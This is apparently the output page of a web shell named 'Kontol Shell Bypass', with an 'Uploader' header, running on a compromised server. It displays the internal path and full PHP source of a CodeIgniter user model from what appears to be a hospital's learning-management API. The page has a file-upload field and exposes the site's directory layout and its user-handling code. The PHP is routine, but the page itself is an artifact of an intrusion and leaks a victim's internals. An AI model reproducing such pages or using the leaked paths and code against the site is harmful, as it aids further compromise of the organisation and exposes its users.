ikan Uploader :
Directory : /var/www/html/shardahospital.org/lms/api/application/models/
Upload File : |
| Current File : /var/www/html/shardahospital.org/lms/api/application/models/User_model.php |
<?php
class User_model extends CI_Model {
function lists(){
$qs=trim_array($this->input->get());
$this->db->where_in("U.type", ['USER', 'CALLER_MANAGER', 'REGIONAL_OFFICER']);
if($qs['type']){
$this->db->where("U.type", $qs['type']);
}
if($qs['parent_id']){
$this->db->where("U.parent_id", $qs['parent_id']);
}
if($qs['k']){
$this->db->group_start()
->like('U.name', $qs['k'])
->or_like('U.username', $qs['k'])
->or_like('U.email', $qs['k'])
->group_end();
}
$this->db->select("U.id, U.username, U.name, U.email, U.type, U.status, P.name parent, U1.name usr")
->from("users AS U")
->join("users P", "U.parent_id=P.id", "LEFT")
->join("users AS U1", "U.created_by=U1.id")
->order_by("U.name");
$rs=$this->dba->pagedRows($qs['p'], 50, 5);
return $rs;
}
function active_users($child=false){
if($child){
$this->db->where("parent_id", USER_ID)->or_where("id", USER_ID);
}
return $this->db->select("id,name")->from("users")->where("status", 1)->order_by("name")->get()->result_array();
}
function regional_officers(){
if(USER_TYPE == 'REGIONAL_OFFICER'){
$this->db->where("id", USER_ID);
}
$this->db->where(array('type'=>'REGIONAL_OFFICER', 'status'=>1));
$rs=$this->db->select("id, name")->get("users")->result_array();
return $rs;
}
function detail($id, $f="*"){
$rs=$this->db->select($f)->get_where("users", array('id'=>$id))->row_array();
if($rs){
$rs['parent_id']=$rs['parent_id']?$rs['parent_id']:'';
unset($rs['password']);
}
return $rs;
}
function delete($id){
$this->db->db_debug=FALSE;
return $this->db->delete("users", array('id'=>$id));
}
function system_modules($grp=[]){
if($grp){
$this->db->where_in('grp', $grp);
}
return $this->db->get("system_modules")->result_array();
}
}
//End of file
Kontol Shell Bypass